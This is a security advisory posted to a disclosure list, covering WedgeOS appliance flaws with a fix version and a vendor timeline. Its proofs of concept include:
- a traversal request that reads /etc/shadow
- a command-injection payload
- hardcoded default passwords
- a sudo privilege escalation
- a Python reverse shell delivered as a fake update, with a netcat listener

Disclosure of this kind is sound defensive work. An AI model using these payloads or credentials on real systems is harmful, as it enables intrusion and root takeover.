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Message-ID: <5590AB40.2050406@security-assessment.com>
Date: Mon, 29 Jun 2015 14:19:44 +1200
From: Daniel Jensen <daniel.jensen@...urity-assessment.com>
To: <fulldisclosure@...lists.org>
Subject: [FD] WedgeOS Multiple Vulnerabilities

(    , )     (,
  .   '.' ) ('.    ',
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 /  _____/  / _  \    ____  ____   _____
 \____  \==/ /_\  \ _/ ___\/  _ \ /     \
 /       \/   |    \\  \__(  <_> )  Y Y  \
/______  /\___|__  / \___  >____/|__|_|  /
        \/         \/.-.    \/         \/:wq
                    (x.0)
                  '=.|w|.='
                  _=''"''=.

                presents..

WedgeOS Multiple Vulnerabilities
Affected versions: WedgeOS <= 4.0.4

PDF:
http://www.security-assessment.com/files/documents/advisory/WedgeOS-Final.pdf

+-----------+
|Description|
+-----------+
Wedge Networks WedgeOS Virtual Appliance contains a number of security
vulnerabilities, including unauthenticated arbitrary file read as root,
command injection in the web interface, privilege escalation to root,
and command execution via the system update functionality.

+------------+
|Exploitation|
+------------+
==Unauthenticated Arbitrary File Read==
Any user with access to the web interface of WedgeOS may submit a GET
request to the ssgimages function, using directory traversal to specify
an arbitrary file on disk. The web server runs as root, so any file may
be read, including the shadow file. This vulnerability can be used to
read the contents of the local MySQL database, which contains MD5
password hashes for the web interface.
[POC]
curl -sk
'https://[HOST]/ssgmanager/ssgimages?name=../../../../../etc/shadow' |
head -n 1
root:$1$KVY2OJDj$Xg5LkGQI3lUvzr8GVIErp/:15828:0:99999:7:::

==Command Injection==
Any authenticated user may execute arbitrary commands as root. The ping,
nslookup, and traceroute functions of the diagnostic interface fail to
validate user input correctly, which allows the injection of arbitrary
system commands. Bash brace expansion can be used to execute more
syntactically complex commands.
[POC]
----
POST /ssgmanager/jsp/readaccess/ping.jsf HTTP/1.1
Host: [HOST]
Cookie: JSESSIONID=[SESSION];
Content-Type: application/x-www-form-urlencoded
Content-Length: 123

mainform=mainform&mainform:input=1%26id&mainform:submitGo=Go&mainform:j_id_jsp_208968386_10pc4=&javax.faces.ViewState=j_id3
----

==Privilege Escalation==
A remote user with access to the 'support' account over SSH can escalate
privileges to root by using way of the admin account. The support
account can be accessed with the password "ous35hi3". This gives the
user a bash shell. If the support user knows the password for the admin
user, they can switch to the admin user and launch a bash shell.
Otherwise, the admin password can be reset by logging in with the
resetpassword user, or by accessing the local MySQL database and
cracking the admin hash. The database can be accessed with the "root"
user and password "wecandoit".

Once the user has the admin password, they can switch to the admin user
and spawn a bash shell by executing the following command:
su -s /bin/bash admin

With a bash shell as the admin user, there are multiple methods to
escalate to root. If the file at /var/tmp/secfi_update.sh does not
exist, this can be created and executed as root with sudo. However this
file is created when updating the system, so it may not be possible.
The admin user can also escalate privileges to root by creating a
specific directory path in any location where they have write access,
and exploiting environment variables when running the ctl_snort.sh
script via sudo.

[POC]
-Read admin password from DB-
ssh support@[HOST]
support@[HOST]'s password: [ous35hi3]
[support@...gevm ~]$ mysql -u root --password=wecandoit ssgmanager -e
'select password from admin;'
+----------------------------------+
| password                         |
+----------------------------------+
| [PASSWORD]                       |
+----------------------------------+

-Reset admin password with support user-
ssh resetpassword@[HOST]
resetpassword@[HOST]'s password: [default!]
Reset password for admin (y/n)? y
Resetting admin password...
Admin password has been reset to default.
Connection to [HOST] closed.

-Privesc via environment variables and sudo-
[support@...gevm ~]$ su -s /bin/bash admin
Password: [admin] (Default password)
[admin@...gevm support]$ export GUARDIAN_HOME=/var/tmp
[admin@...gevm support]$ mkdir -p /var/tmp/shared/script
[admin@...gevm support]$ echo "id > /var/tmp/id" >
/var/tmp/shared/script/query_license.sh
[admin@...gevm support]$ chmod +x /var/tmp/shared/script/query_license.sh
[admin@...gevm support]$ sudo /usr/local/snort/bin/ctl_snort.sh start
-mode ids
Error: specify the snort configuration file with -config
[admin@...gevm support]$ cat /var/tmp/id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
[admin@...gevm support]$


==Command Execution==
An admin user with write access to the web interface may execute
arbitrary commands as root. The user can specify an external server with
which to retrieve system updates. The WedgeOS requests a shell script
from the remote host and runs it as root. No validation of the script is
performed, so arbitrary commands may be specified.

[POC]
-Reverse Shell-
$cat secfi_update1.2.3.4.sh
python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[HOST]",1337));
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

-HTTP Post-
POST /ssgmanager/jsp/writeaccess/SystemUpdate.jsf HTTP/1.1
Host: [HOST]
Cookie: JSESSIONID=[SESSION]; JSESSIONIDSSO=[SESSION]
Content-Type: application/x-www-form-urlencoded
Content-Length: 233

mainform=mainform&mainform%3Aid=1&mainform%3Apassword=1&mainform%3Aupdates=&mainform%3Aversion=1.2.3.4
&mainform%3AisDefaultServer=false&mainform%3AcustomServer=[HOST]%2F&mainform%3Asave=Run+Update&javax.faces.ViewState=j_id12

-HTTP Server and Listener-
$python -m SimpleHTTPServer 80 & netcat -vnlp 1337
[1] 24289
listening on [any] 1337 ...
Serving HTTP on 0.0.0.0 port 80 ...
[HOST] - - [18/Jun/2015 11:50:09] "GET /secfi_update1.2.3.4.sh HTTP/1.0"
200 -
connect to [HOST] from (UNKNOWN) [HOST] 53933
sh: no job control in this shell
sh-4.0# id
id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

+----------+
| Solution |
+----------+
Update to WedgeOS version 4.0.5-482 or greater.

+-------------------+
|Disclosure Timeline|
+-------------------+
16/03/2015 - Advisory sent to vendor.
20/03/2015 - Follow up email checking if vendor has received.
24/03/2015 - Advisory receipt acknowledged by vendor.
22/04/2015 - Email sent asking for update, email undeliverable due to
421 Timeout from vendor mail server.
28/04/2015 - Additional email sent asking for update.
28/04/2015 - Vendor response, states official response will be provided
shortly.
15/05/2015 - Email sent asking for update on official response, email
undeliverable.
20/05/2015 - Additional email sent asking for update on official
response, email undeliverable.
27/05/2015 - Called vendor, who stated a new release is being worked on
and an update will be provided soon.
03/06/2015 - Email from vendor stating a new version is being put together.
09/06/2015 - Email sent to vendor stating the advisory will be publicly
disclosed soon, email undeliverable.
12/06/2015 - Called vendor, who stated a new version will be released
shortly.
12/06/2015 - Email from vendor confirming imminent release of new version.
12/06/2015 - Vendor advises a fix is in place in the newly released
update of WedgeOS.
29/06/2015 - Advisory Release.

+-----------------------------+
|About Security-Assessment.com|
+-----------------------------+

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